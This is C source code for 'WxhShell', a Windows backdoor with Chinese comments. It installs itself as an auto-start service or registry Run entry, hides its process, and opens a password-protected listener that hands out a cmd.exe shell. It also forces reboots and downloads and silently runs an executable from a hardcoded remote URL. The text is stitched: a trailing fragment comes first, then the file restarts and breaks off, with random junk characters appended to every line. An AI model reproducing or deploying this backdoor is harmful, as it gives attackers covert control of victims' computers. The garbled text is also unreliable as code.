    if(Boot(SHUTDOWN)) l/y Kc8^<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4%#V^??E  
    else { 9$4/frd  
    closesocket(wsh); qMW%$L\HA  
    ExitThread(0); ^8f|clw"  
    } edImrm1f  
    break; 99+/W*C  
    } R; Gl{  
  // 获取shell X-;Qorb^  
  case 's': { |=h)efo}  
    CmdShell(wsh); hsQrd%{f  
    closesocket(wsh); ;'WzfJ!q  
    ExitThread(0); -Uhl9 =  
    break; )W}/k$S  
  } ]B-$p p  
  // 退出 .$ P2W0G  
  case 'x': { Mh-*5Rx  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `)( <g  
    CloseIt(wsh); x" :Bw;~  
    break; =J[[>H'<d  
    } sgb+@&}9n  
  // 离开 I W] 841  
  case 'q': { ~gLEhtW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w'zO(6 `  
    closesocket(wsh); Fh!!T%5>C  
    WSACleanup(); \aJ-q?=  
    exit(1); bTy' 5"  
    break; 3Mh,NQB  
        } /PB3^d>Q2  
  } 61Iy{-/ZV  
  } >I8hFtAM  
}5Tyzi(  
  // 提示信息 mSfkyw.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E't G5,/m  
}  _.J[w6  
  } ,j(p}t  
luxKgcU  
  return; &L~31Ayj&  
} )(|0KarF  
/NN[gz  
// shell模块句柄 ,h(f\h(9  
int CmdShell(SOCKET sock) Rcx'a:k  
{ HTtGpTsF  
STARTUPINFO si; v BeU  
ZeroMemory(&si,sizeof(si)); C$re$9U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f29HQhXqS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -z~ V   
PROCESS_INFORMATION ProcessInfo; 3PR7g  
char cmdline[]="cmd"; tx&U"]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ` S~@FX  
  return 0; j}?ZsnqV  
} @ vYN7  
E.Q} \E  
// 自身启动模式 Z :i"|;  
int StartFromService(void) $>rfAs!  
{ !=Kay^J~.  
typedef struct x ;?1#W  
{ 5SWX v+  
  DWORD ExitStatus; CO)b'V,  
  DWORD PebBaseAddress; ]v,y(yl  
  DWORD AffinityMask; mX_Uhpw?t  
  DWORD BasePriority; WSB|-Qj}W  
  ULONG UniqueProcessId; t-|=weNy  
  ULONG InheritedFromUniqueProcessId; 'JKvy(n>  
}   PROCESS_BASIC_INFORMATION; u1|Y;*  
2T2#HP  
PROCNTQSIP NtQueryInformationProcess; WZ V*J&  
.=w`T #L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ckl]fy@D}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; JU2' ~chh  
)yH#*~X_   
  HANDLE             hProcess; JA(q>>4  
  PROCESS_BASIC_INFORMATION pbi; +?m=f}>W1  
w!h{P38  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Lzx(!<v  
  if(NULL == hInst ) return 0; 2Lu{@*  
xg1r 3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ve]95w9J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =<W[dV=W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hB<z]sl  
C00*X[p  
  if (!NtQueryInformationProcess) return 0; q\pc2Lh?^  
SD.*G'N&2f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %fSk "%u%<  
  if(!hProcess) return 0; 9NoPrR=x1  
eMd1%/[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~~E=E;9  
8; N}d)*O  
  CloseHandle(hProcess); JI; i1@| b  
6!=9V0G~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |0 pBBDw  
if(hProcess==NULL) return 0; UY& W]  
{$eZF_}Y^  
HMODULE hMod; ?[fl$EG  
char procName[255]; Uz8C!L ">C  
unsigned long cbNeeded; Vm8_ !$F  
<YNPhu~5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o;-! ?uJ  
2{tJ'3  
  CloseHandle(hProcess); ~#x!N=q  
(C[S?@S  
if(strstr(procName,"services")) return 1; // 以服务启动 ,&l*AB!  
lVBy&f  
  return 0; // 注册表启动 r ($t.iS  
} ',ybHW%D%i  
ba1QFzN  
// 主模块 x,*t/nzR  
int StartWxhshell(LPSTR lpCmdLine) MZF ;k$R  
{ \z?;6A  
  SOCKET wsl; O6 J<Lqgh  
BOOL val=TRUE; 8l,hP.  
  int port=0; ;+Kewi;<  
  struct sockaddr_in door; BTQC1;;N  
zi 14]FWo  
  if(wscfg.ws_autoins) Install(); uUB%I 8  
83(P_Y:  
port=atoi(lpCmdLine); !8M'ms>s=  
'WgwLE_  
if(port<=0) port=wscfg.ws_port;  o|im  
*iN]#)3>  
  WSADATA data; t/BiZo|zl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <iqyDPj  
13@| {H CB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   juZ3""  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z- Ae'ym  
  door.sin_family = AF_INET; P@![P Ij  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]h8V{%H  
  door.sin_port = htons(port); W/QOG&g  
QI{Y@xQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ! \Kh\  
closesocket(wsl); J4^cd  
return 1; )_ u'k /  
} \ku{-^7  
AlhiF\+ C  
  if(listen(wsl,2) == INVALID_SOCKET) { z Ns8\  
closesocket(wsl); xeh|u"5  
return 1; TzXl ?N  
} vwD(J.;  
  Wxhshell(wsl); DKCy h`  
  WSACleanup(); h--!pE+  
 ?wY.B  
return 0; gJv^v`X  
)ciHY6  
} pLcng[  
_n gMC]-T  
// 以NT服务方式启动 nuA!Jln_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GlZDuU  
{ Kf5p* AI  
DWORD   status = 0; _kLoDju%  
  DWORD   specificError = 0xfffffff; C#0Wo  
'2#fkH[.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >>xV-1h:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g?M69~G$:x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o%5Ao?z~  
  serviceStatus.dwWin32ExitCode     = 0; <K'gvMG[  
  serviceStatus.dwServiceSpecificExitCode = 0; bV,R*C  
  serviceStatus.dwCheckPoint       = 0; @/iLC6QF  
  serviceStatus.dwWaitHint       = 0; ti% e.p0[  
ylJlICK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L  *@>/N  
  if (hServiceStatusHandle==0) return; Cu7iHhY5  
5xKR ]u  
status = GetLastError(); Yl=  |P`  
  if (status!=NO_ERROR) y}`%I&]n  
{ s[bKGn@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  S_6;e|  
    serviceStatus.dwCheckPoint       = 0; _ji%BwJ  
    serviceStatus.dwWaitHint       = 0; 4v .6_ebL  
    serviceStatus.dwWin32ExitCode     = status; 5gEK$7Vp  
    serviceStatus.dwServiceSpecificExitCode = specificError; vX%gcs/@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~?r6Ax-R  
    return; $!@f{9+  
  } 7 #N @B  
c6|&?}F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jL1UPN  
  serviceStatus.dwCheckPoint       = 0; eu;^h3u;b  
  serviceStatus.dwWaitHint       = 0; Q4*cL5j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t|lv6-Hy9  
} 5. i;IOx  
^j7pF.j  
// 处理NT服务事件,比如:启动、停止 {BU,kjv1g  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D bJ(N h  
{ 35T7g65;  
switch(fdwControl) 7h~M&\M  
{ us+adS.l&  
case SERVICE_CONTROL_STOP: X}Fv*  
  serviceStatus.dwWin32ExitCode = 0; V ZGhF!To  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3 Gkw.  
  serviceStatus.dwCheckPoint   = 0; bcfOp A  
  serviceStatus.dwWaitHint     = 0; ]CYe=m1<2Q  
  { Y._AzJ&B[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 70~]J8T+u  
  } na)_8r~  
  return; m|[ Hhw=f  
case SERVICE_CONTROL_PAUSE: |/$#G0X;H  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3u<2~!sR  
  break; cs)hq4-L`  
case SERVICE_CONTROL_CONTINUE: 2]wh1)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]&>)=b!,  
  break; &s5*akG  
case SERVICE_CONTROL_INTERROGATE: Y*f<\z(4  
  break; LTHS&3% 2  
}; S;~_9i]upe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F(r &:3!97  
} b`mEnI VIz  
Pc<ZfO #  
// 标准应用程序主函数 P+a&R<Dj4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RB2u1]l  
{ e{=$4F  
 o~B=[  
// 获取操作系统版本 dWA7U6c<  
OsIsNt=GetOsVer(); AXFVsZH"zi  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0OXd*  
wSDDejg  
  // 从命令行安装 E J1:N*BA  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4Ki'r&L\  
L<n_}ucA  
  // 下载执行文件 QB3AL; 7  
if(wscfg.ws_downexe) { #<{MtK_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6._):[_2  
  WinExec(wscfg.ws_filenam,SW_HIDE);  Sk-Ti\  
} Uka 4iya  
9z#IdY$a  
if(!OsIsNt) { gTT-7  
// 如果时win9x,隐藏进程并且设置为注册表启动 qyto`n7  
HideProc(); W7 $yE},z  
StartWxhshell(lpCmdLine); H;8(y4;  
} Qk= w ,`  
else 4p]Y`];U  
  if(StartFromService()) %{Gqhb=u\  
  // 以服务方式启动 5"+* c@L  
  StartServiceCtrlDispatcher(DispatchTable); a%kj)ah  
else !jm a --  
  // 普通方式启动 %o-*~GQ@B  
  StartWxhshell(lpCmdLine); 8eNGPuoL)  
7^1ikmYY  
return 0; [0 $Y@ek[  
} `?:'_K i  
0)Z7U$  
o?>)CAo  
N{'k ]&  
=========================================== q:( K^  
^,3 >}PU  
J0`?g6aY  
1{*x+GC^/  
_Uq'eZol  
R9HRbVBJf  
" "3K0 wR5  
<"-sN  
#include <stdio.h> |67UN U  
#include <string.h> *m7e>]-  
#include <windows.h> ZISR]xay  
#include <winsock2.h> ;-3M  
#include <winsvc.h> W$y?~2  
#include <urlmon.h> "H({kmR  
x-"7{@lz  
#pragma comment (lib, "Ws2_32.lib") N4Ym[l  
#pragma comment (lib, "urlmon.lib") -Bc.<pFqp  
W{%M+a[#l  
#define MAX_USER   100 // 最大客户端连接数 0 [s1!Cm!i  
#define BUF_SOCK   200 // sock buffer D^pAf/ek@i  
#define KEY_BUFF   255 // 输入 buffer |:AjQ&PM)  
T@L^RaPX  
#define REBOOT     0   // 重启 ?h5Y^}8Qg  
#define SHUTDOWN   1   // 关机 8n56rOW!  
m+L:\mvA  
#define DEF_PORT   5000 // 监听端口 ;,<s'5icyg  
B::vOg77  
#define REG_LEN     16   // 注册表键长度 !"wIb.j }0  
#define SVC_LEN     80   // NT服务名长度 QRRZMdEGs[  
up`6IWlLE  
// 从dll定义API *Hs5MXNu  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Lczcz"t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :r\<DVj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Tb}b*d3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ALG +  
}"szL=s  
// wxhshell配置信息 ,HkJ.6KF  
struct WSCFG { |i|O9^*%  
  int ws_port;         // 监听端口 $wBUu   
  char ws_passstr[REG_LEN]; // 口令 =Vi+wH{xM  
  int ws_autoins;       // 安装标记, 1=yes 0=no , vR4x:W  
  char ws_regname[REG_LEN]; // 注册表键名 }\9qN!ol  
  char ws_svcname[REG_LEN]; // 服务名 Q5Wb)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]UNmhF!W>u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2Bx\nLf/ K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q<M>+U;t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u}pLO9V"`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x[_+U4-/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ft07>E$/Q^  
0g1uM:;  
}; ] `lTkh  
O)hNHIF  
// default Wxhshell configuration iM\W"OUl[  
struct WSCFG wscfg={DEF_PORT, RW3&]l=  
    "xuhuanlingzhe", <h^vl-L>  
    1, 0s(G*D2%6  
    "Wxhshell", 8garRB{  
    "Wxhshell", ~;MRQE  
            "WxhShell Service", lwV#j}G  
    "Wrsky Windows CmdShell Service", f>Ge Em~  
    "Please Input Your Password: ", + 5 05  
  1, G-Y8<mEh  
  "http://www.wrsky.com/wxhshell.exe", s01n[jQ  
  "Wxhshell.exe" Cjw|.c`  
    }; 1v`*%95  
_- { >e  
// 消息定义模块 WXJ%bH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; se_1 wCYz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1"i/*}M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H=*;3gM,'  
char *msg_ws_ext="\n\rExit."; l{kum2DT  
char *msg_ws_end="\n\rQuit."; |_Vlw&qu+  
char *msg_ws_boot="\n\rReboot..."; f- _~rQ  
char *msg_ws_poff="\n\rShutdown..."; \h:$q E7  
char *msg_ws_down="\n\rSave to "; UF?qL1w  
m'Ran3rp  
char *msg_ws_err="\n\rErr!"; Ug/b;( dJ'  
char *msg_ws_ok="\n\rOK!"; l@':mX3xd  
59GS:  
char ExeFile[MAX_PATH]; Z[ys>\_To  
int nUser = 0; =ove#3  
HANDLE handles[MAX_USER]; /op8]y  
int OsIsNt; E<0Y;tR  
"Ln)v   
SERVICE_STATUS       serviceStatus; j2V^1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; WxFVbtw  
HG{OkDx]fl  
// 函数声明 2|m461   
int Install(void); |SCO9,Fs  
int Uninstall(void); '};pu;GA7  
int DownloadFile(char *sURL, SOCKET wsh); 2WqjNqx)6  
int Boot(int flag); ^`ny]3JA  
void HideProc(void); 1a`dB ~>  
int GetOsVer(void); rxt)l  
int Wxhshell(SOCKET wsl); ?nE<Aig  
void TalkWithClient(void *cs); uq'T:d  
int CmdShell(SOCKET sock); l1nrJm8  
int StartFromService(void); : W^ k3/t  
int StartWxhshell(LPSTR lpCmdLine); 9[T}cN=|  
rQCj^=cf;~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ean #>h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ht)J#Di  
[8[g_  
// 数据结构和表定义 n{aD4&  
SERVICE_TABLE_ENTRY DispatchTable[] = OLTgBXh  
{ 'V/+v#V+>  
{wscfg.ws_svcname, NTServiceMain}, eX>x +]l6  
{NULL, NULL} U8 '}(  
}; ] %pr1Ey  
8a)lrIg  
// 自我安装 mSr(PIH{\  
int Install(void) PCtf&U  
{ " 5,'K~hz  
  char svExeFile[MAX_PATH]; ^Yul|0*J  
  HKEY key; F@UbUm2o  
  strcpy(svExeFile,ExeFile); jhg0H2C8  
#L ffmS  
// 如果是win9x系统,修改注册表设为自启动 bu$YW'  
if(!OsIsNt) { o-c.D=~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "=@X>jUc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O!#r2Y"?K1  
  RegCloseKey(key); 22$M6Qof]n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "&W80,O3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z&Cz!HrS  
  RegCloseKey(key); @p"m{  
  return 0; ]2Zl\}GwY  
    } s,Azcqem  
  } H85J MPZ7  
} NH~\kV  
else { k^K>*mcJ  
jnho *,X  
// 如果是NT以上系统,安装为系统服务 R.^ Y'TLyc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HHzAmHt  
if (schSCManager!=0) 6fY-D qF!  
{ @Jr:+|v3B  
  SC_HANDLE schService = CreateService MfNsor  
  ( +VT/ c  
  schSCManager, Qh3BI?GZ'3  
  wscfg.ws_svcname, }LeizbU  
  wscfg.ws_svcdisp, m9M#)<@*  
  SERVICE_ALL_ACCESS, P:KS*lOp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4MUN1/DId`  
  SERVICE_AUTO_START, stQRl_('  
  SERVICE_ERROR_NORMAL, %W` }  
  svExeFile, e*)*__$O  
  NULL, -aPRL HR  
  NULL, |kGj}v3  
  NULL, (X zy~l<  
  NULL, v(=?@ tF}E  
  NULL )xm[mvt  
  ); $Y`oqw?g+^  
  if (schService!=0) JCO+_d#x  
  { Gu@n1/m@o  
  CloseServiceHandle(schService); 37<^Oly!  
  CloseServiceHandle(schSCManager); %>Q[j`9y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c]}F$[>oN'  
  strcat(svExeFile,wscfg.ws_svcname); ?&Ug"$v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { XSHK7vpMf  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N(s5YX7<hd  
  RegCloseKey(key); wAD%1;  
  return 0; l$Y*ii  
    } VDT.L,9  
  } *\gYs{,  
  CloseServiceHandle(schSCManager); zCji]:  
} 18nT Iz_  
} @k+ K_gR  
/Ixv{H)H  
return 1; f*o+g:]3  
} r:3h 2J[_  
\:-"?  
// 自我卸载 /L{V3}[j  
int Uninstall(void) fb+_]{7g  
{ *q;u%; 4  
  HKEY key; xB`j* %  
}i$ER,hXh  
if(!OsIsNt) { 45Hbg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q\Q'9Rl0(  
  RegDeleteValue(key,wscfg.ws_regname); 7K5 tBUNQ  
  RegCloseKey(key); `NySTd)\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q?y-s  
  RegDeleteValue(key,wscfg.ws_regname); { k>T*/  
  RegCloseKey(key); ;&c9!LfP  
  return 0; xciwKIpS  
  } ?[?;%Y  
} ;vG%[f`K  
} 7y4jk  
else { \&/V p`  
X6<Ds'I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l#IN)">1  
if (schSCManager!=0) YJGP8  
{ i"#pk"@`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Yz)+UF,  
  if (schService!=0) 4OeH}@a  
  { v` h n9O  
  if(DeleteService(schService)!=0) { [nA1WFfM  
  CloseServiceHandle(schService); %0Ibi  
  CloseServiceHandle(schSCManager); BEtFFi6ot  
  return 0; @.)WS\Cv#E  
  } 0oQJ}8t  
  CloseServiceHandle(schService); 1z3>nou2{  
  } fG zx;<0P!  
  CloseServiceHandle(schSCManager);  < v1.+  
} ~jJF&*)  
} / %1-tGh  
zJ)`snN|  
return 1; t|P+^SL  
} 6L"b O'_5K  
!&},h=  
// 从指定url下载文件 ;;S9kNp^v  
int DownloadFile(char *sURL, SOCKET wsh) }Q a  
{ H1c>3c  
  HRESULT hr; 068DC_  
char seps[]= "/"; oT0:Ny  
char *token; U1Y0G[i)  
char *file; MFn\[J`Ra  
char myURL[MAX_PATH]; "[ieOFI  
char myFILE[MAX_PATH]; M1=eS@  
{>UT'fa-  
strcpy(myURL,sURL); 3/y"kl:< -  
  token=strtok(myURL,seps); ''($E /  
  while(token!=NULL) xwu b-yz  
  { yMEI^,0"  
    file=token; WC Y5F  
  token=strtok(NULL,seps); T 9FGuit9  
  } 2y IDyo  
<Uu[nUJ  
GetCurrentDirectory(MAX_PATH,myFILE); r:M0# 2   
strcat(myFILE, "\\"); RR2M+vQ  
strcat(myFILE, file); JmC2buO  
  send(wsh,myFILE,strlen(myFILE),0); dDA,Ps  
send(wsh,"...",3,0); fu iTy72  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D+u\ORj  
  if(hr==S_OK) z+KZ6h  
return 0; &Qe2 }e$  
else +~EnrrT+W  
return 1; YJ+l \Wb}  
7+Er}y>  
} F. I\?b  
EMPujik-  
// 系统电源模块 9"?;H%.  
int Boot(int flag) ~l('ly  
{ ~7gFddi=i  
  HANDLE hToken; X4L@|"ZI  
  TOKEN_PRIVILEGES tkp; \0K&2'  
M< H+$}[  
  if(OsIsNt) { tr58J% Mu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m=TZfa^r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F$ckW'V  
    tkp.PrivilegeCount = 1; NtmmPJ|5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qOAP_\@T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =QIu3%&  
if(flag==REBOOT) { *x_e] /}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )X3 |[4R  
  return 0; n\< uT1n  
} dXPTW;w  
else { e5D\m g)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Wngc(+6O&  
  return 0; _q4Yq'dI  
} Fr-Vq =j&  
  } H vHy{S4  
  else { ]F"P3':  
if(flag==REBOOT) {  He%v4S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >3,}^`l  
  return 0; @YVla !5O@  
} ( G~ME>  
else { _C=01 %/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _88X-~.  
  return 0; zDBm^ s  
} nchpD@'t  
} MwX8FYF D  
1+ [,eq  
return 1; `QZKW  
} \p%D;g+c  
)=cJW(nfP  
// win9x进程隐藏模块 o=-Af|#b  
void HideProc(void) 2*V]jO  
{ !?sB=qo  
>`|Wg@_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <?:h(IZe[  
  if ( hKernel != NULL )  hOYX  
  { <nK@+4EH"o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XtE O)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {b-SK5%]L  
    FreeLibrary(hKernel); nkz<t   
  } xVrLoAw  
]z2x`P^oI  
return; 2&=CC4<!d  
} !=HxL-`j  
3BAQ2S}  
// 获取操作系统版本 7%&e4'SZO  
int GetOsVer(void) Od~ e*gA8  
{ *q;83\  
  OSVERSIONINFO winfo; WR u/7$8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D&=+PAX  
  GetVersionEx(&winfo); X5(oL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ><$V:nsEO  
  return 1; 3T>6Q#W5eO  
  else wv=U[:Y  
  return 0; i ~)V>x  
} 4pZKm-dM^  
~+,ZD)AKi4  
// 客户端句柄模块 jAovzZ6BL  
int Wxhshell(SOCKET wsl) %zR5q  Lb  
{ [;l;kom  
  SOCKET wsh; 1r5Z$3t\  
  struct sockaddr_in client; f%JM a]yV  
  DWORD myID; =BbXSwv'(  
8Pva]Q  
  while(nUser<MAX_USER) 7jr+jNsowj  
{ hu7o J H  
  int nSize=sizeof(client); 2@Q5Ta #h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ].Ra=^q  
  if(wsh==INVALID_SOCKET) return 1; .krEfY&  
LoOw]@>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  z@~mu  
if(handles[nUser]==0) 99%R/m  
  closesocket(wsh); C' WX$!$d  
else 3lKs>HE0  
  nUser++; />uE)R$  
  } /7ShE-.5#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F&Rr&m  
79D;0  
  return 0; Rl_1g`84  
} j3S!uA?  
H_ NoW  
// 关闭 socket xgtx5tg  
void CloseIt(SOCKET wsh) ~S<}q6H.  
{ _,? xc"  
closesocket(wsh); 5g;mc.Cvt  
nUser--; I0;gTpt9  
ExitThread(0); zm_8{Rta}  
} ZkdSgc')  
>.H}(!  
// 客户端请求句柄 ^)'D eP/  
void TalkWithClient(void *cs) 4F<wa s/  
{ ScQ9p379  
9j}Q~v\  
  SOCKET wsh=(SOCKET)cs; Q=Q&\.<  
  char pwd[SVC_LEN]; jw/@]f;N  
  char cmd[KEY_BUFF]; m63>P4h?  
char chr[1]; QyrB"_dm  
int i,j; Bsk` e  
h A '>  
  while (nUser < MAX_USER) { oW>e.}d!  
dnM.  
if(wscfg.ws_passstr) { uH7!)LE#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Dc 84^>l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dKevhm)R"  
  //ZeroMemory(pwd,KEY_BUFF); 5A%Uv*  
      i=0; zQ+ %^DT1  
  while(i<SVC_LEN) { F3 g$b,RMH  
i?V:+0#q\]  
  // 设置超时 |O'gT8  
  fd_set FdRead; yNG|YB;  
  struct timeval TimeOut; 5 o[E8c 8  
  FD_ZERO(&FdRead); Zeq^dV5y77  
  FD_SET(wsh,&FdRead); \Hq=_}]F  
  TimeOut.tv_sec=8; A'D2uV  
  TimeOut.tv_usec=0; @wVDe\% ,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .3wx}!:*|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ci[Ja#p7$h  
)EcfEym.>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dZddo z_  
  pwd=chr[0];  feM(  
  if(chr[0]==0xd || chr[0]==0xa) { 07\]8^/G  
  pwd=0; rKTc 6h:)  
  break; y>cT{)E$  
  } -vh\XO  
  i++; mR#"ng  
    } @Hr1.f  
qZlL6  
  // 如果是非法用户,关闭 socket L"uidd0(g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e5w0}/yW/  
} [Kb)Q{=)  
%/}d'WJR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q6o}2<T@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m6@;!*Y  
'*`1uomeo  
while(1) { zQB1C  
oHF,k  
  ZeroMemory(cmd,KEY_BUFF); 4F!%mMq  
<2LUq@Pg  
      // 自动支持客户端 telnet标准   > lI2r}  
  j=0; /8,cF7XL*  
  while(j<KEY_BUFF) { &x@N5j5Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sqj8I"<`  
  cmd[j]=chr[0]; B9`_~~^U5  
  if(chr[0]==0xa || chr[0]==0xd) { Ss1&fZoj  
  cmd[j]=0; &O5&pet  
  break; fAR 6  
  } }{[p<pU$C  
  j++; ++!0r['+ >  
    } sD6vHX%  
}kJ9< h,  
  // 下载文件 #9A*BbY  
  if(strstr(cmd,"http://")) { Qe]&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q.V+s   
  if(DownloadFile(cmd,wsh)) l\u5RMS('  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3'7X[{uBr  
  else =7S\-{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;9)=~)  
  } D/z*F8'c  
  else { z:08;}t  
!1<>][F  
    switch(cmd[0]) { JP]-a!5Ru  
  8vj]S5  
  // 帮助 aOEW$%  
  case '?': { l 1BAW$  
